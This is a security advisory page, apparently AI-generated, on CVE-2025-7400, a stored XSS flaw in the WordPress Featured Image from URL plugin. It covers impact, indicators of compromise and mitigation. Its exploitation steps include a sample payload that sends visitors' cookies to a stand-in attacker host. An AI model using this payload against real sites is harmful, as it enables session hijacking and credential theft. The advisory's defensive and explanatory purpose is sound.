CVE-2025-7400
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-7400 is a Stored Cross-Site Scripting (XSS) vulnerability in the Featured Image from URL (FIFU) plugin for WordPress, affecting all versions up to and including 5.2.7. The flaw arises from insufficient input sanitization and output escaping of post Featured Image custom fields, allowing authenticated attackers with Contributor-level access or above to inject arbitrary web scripts into pages. A partial fix was introduced in version 5.2.2, but the vulnerability was not fully remediated until a later release. It was published on October 7, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Attackers with at least Contributor-level WordPress authentication can supply a malicious URL or value in the Featured Image custom field of a post; because the plugin fails to properly sanitize input or escape output, the injected script is stored in the database and rendered in the browser of any user who views the affected page. The attack vector is network-based, requires low privileges, and does not require user interaction beyond a victim visiting the injected page (Red Hat CVE, Wordfence).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user's browser session when they visit a page containing the injected content, resulting in low confidentiality and integrity impact with no direct availability impact. Potential consequences include session cookie theft, credential harvesting, defacement of page content, redirection to malicious sites, or further attacks against site administrators (which could lead to full site compromise). The changed scope means the impact extends beyond the attacker's own session to affect other users of the WordPress site (Red Hat CVE).

Exploitability

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Red Hat CVE, Wordfence).

Exploitation steps

  1. Obtain Contributor Access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site running FIFU plugin version ≤ 5.2.7.
  2. Create or Edit a Post: Navigate to the WordPress post editor and create a new post or edit an existing one where the Featured Image from URL plugin is active.
  3. Inject Malicious Payload: In the Featured Image custom field provided by the FIFU plugin, enter a crafted value containing a JavaScript payload (e.g., a URL field that embeds "><script>document.location='https://attacker.com/steal?c='+document.cookie</script>) instead of a legitimate image URL.
  4. Publish the Post: Submit or update the post, causing the unsanitized payload to be stored in the WordPress database.
  5. Trigger Execution: When any user (including administrators) visits the page containing the injected post, the stored script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, Red Hat CVE).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from Contributor-level accounts containing unusual script tags or encoded JavaScript in Featured Image custom field parameters.
  • Database: Entries in the wp_postmeta table with meta_key related to FIFU (e.g., fifu_image_url) containing <script>, javascript:, or HTML event handler attributes (onerror, onload).
  • Network: Outbound requests from victim browsers to unknown external domains shortly after visiting affected posts, potentially carrying cookie or session data in query parameters.
  • File System: No direct file system artifacts expected for stored XSS, but check for newly created or modified PHP files in the FIFU plugin directory that could indicate secondary compromise following admin session hijacking.

Mitigation and workarounds

Users should update the Featured Image from URL (FIFU) plugin to a version beyond 5.2.7 that fully addresses the vulnerability; note that version 5.2.2 only partially fixed the issue. Site administrators should audit existing posts for malicious content in Featured Image custom fields, particularly those created by Contributor-level users. As a temporary measure, restricting Contributor-level user registration or requiring editorial review before publishing can reduce exposure. Monitoring WordPress user activity and applying a Web Application Firewall (WAF) rule to block XSS payloads in post metadata fields is also advisable (Wordfence, Sucuri).

Community reactions

Wordfence included CVE-2025-7400 in its weekly WordPress vulnerability report for October 6–12, 2025, highlighting it as part of a broader set of plugin vulnerabilities tracked that week (Wordfence). Sucuri also referenced the vulnerability in its October 2025 patch roundup, advising WordPress site owners to keep plugins updated (Sucuri). No significant independent researcher commentary or broader media coverage has been identified beyond standard vulnerability aggregation and advisory channels.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-16955NONEN/A
  • ai-engine
NoYesAug 08, 2026
CVE-2026-16953NONEN/A
  • ai-engine
NoYesAug 08, 2026
CVE-2026-16948NONEN/A
  • solace-extra
NoYesAug 08, 2026
CVE-2026-16608NONEN/A
  • download-monitor
NoYesAug 08, 2026
CVE-2026-16595NONEN/A
  • wpdirectorykit
NoYesAug 08, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management